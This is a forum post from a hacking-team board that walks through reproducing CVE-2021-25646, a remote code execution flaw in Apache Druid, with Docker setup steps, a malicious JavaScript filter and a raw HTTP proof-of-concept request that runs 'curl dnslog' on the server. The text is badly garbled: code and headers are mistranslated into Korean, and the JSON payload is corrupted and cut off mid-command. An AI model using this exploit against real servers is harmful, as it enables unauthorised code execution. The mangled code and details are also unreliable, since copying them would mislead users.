KoreanHackerTeam
Moderator
Apache Druid RCE 复现
1 漏洞介绍
1.1 Druid
DRUID는 Oracle, MySQL, Derby, PostgreSQL, SQL Server, H2 등을 포함한 모든 JDBC 호환 데이터베이스를 지원하는 JDBC 구성 요소입니다.1.2 漏洞描述
编号:CVE-2021-25646APACHE DRUID에는 다양한 유형의 요청에 포함 된 사용자 제공 자바 스크립트 기능을 실행하는 코드가 포함되어 있습니다. 이 기능은 높은 신뢰 환경에서 기본적으로 비활성화됩니다. 그러나 Druid 0.20.0 이하에서 인증 된 사용자는 수신 JSON 문자열을 구성하여 일부 민감한 매개 변수를 제어하여 악의적 인 요청을 보내고 Apache Druid 취약점을 사용하여 임의 코드를 실행할 수 있습니다.1.3 影响版本
Apache Druid 0.20.12 漏洞复现
2.1 环境搭建
Docker 저장소에서 미러 버전 0.16.0을 당기십시오 :1
2
Docker Pull Fokkodriesprong/Docker-Druid
Docker Run --rm -i -p 8888:8888 Fokkodriesprong/docker -druid

2.2 复现
Docker 컨테이너가 시작된 후 포트 8888에 액세스하십시오.
로드 데이터를 클릭합니다 - 로컬 디스크 :

채우십시오
Base directory:QuickStart/Tutorial/
File filter:Wikiticker-2015-09-12-sampled.json.gz
필터 항목을 클릭하십시오

필터를 다음과 같이 수정하십시오.
1
2
3
4
5
6
7
8
{
'타입 ':'JavaScript ',
'function':'function (value) {return java.lang.runtime.getRuntime (). exec ( 'curl dnslog')} ',
'Dimensional':'added',
'': {
'enabled':'True'
}
}



POC를 직접 사용할 수도 있습니다.
1
2
3
4
5
6
7
8
9
10
11
Post/Druid/Indexer/V1/Sampler HTTP/1.1
Host: xxx.xxx.xxx.xxx:8888
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; RV:85.0) Gecko/20100101 Firefox/85.0
accept: 응용 프로그램/json, 텍스트/평원, */*
허용 : ZH-CN, ZH; Q=0.8, ZH-TW; Q=0.7, ZH-HK; Q=0.5, en-US; Q=0.3, en; q=0.2
Content-Type: Application/JSON
컨텐츠 길이 : 995
Connection: 닫기
{ 'type':'index ','spec': { 'ioconfig': {'type': 'index', 'inputSource': {'type'3360 'inline', 'data':' '{\'isrobot \ ':true, \'채널 \ ': \'#x \ ', \'timestamp \ ': \'2021-2-1T14:12:24.050Z \ ', \'flags \ 'x \', \ ', \', '33333333333333333333333333333333333333333333333333330 SunPatrolled \ ':false, \'Page \ ': \'1 \ ', \'diffurl \ ': \'https://xxx.com \ ', \'추가 \ ':1, \'주석 \ ': \'Botskapande 인도네시아 omdirigering \ ', \'commentlength \ ':35, \'isnew \ ':true, \'isminor \ ':false, \'delta \ ':true, \'Isanony mous \ ':true, \'user \ ': \'lsjbot \ ', \'deltabucket \ ':0, \'deleted \ ':0, \'Namespace \ ': \'main \ '}'}, 'inputformat': {'type': 'json', 'recoinnullcolumns': true}},'dataSchema': { 'dataSource':'샘플 ','timeStampspec': { 'column':'timestamp ','timestamp ','timestamp ','timestamp ' 'dimensionalsspec': {},'transformspec': { 'transforms': [],'filter': { 'type':'javaScript ','Dimension ''adds ','function': 'function (value) {java.lang.runtime.getRuntime (). exec ( 'curl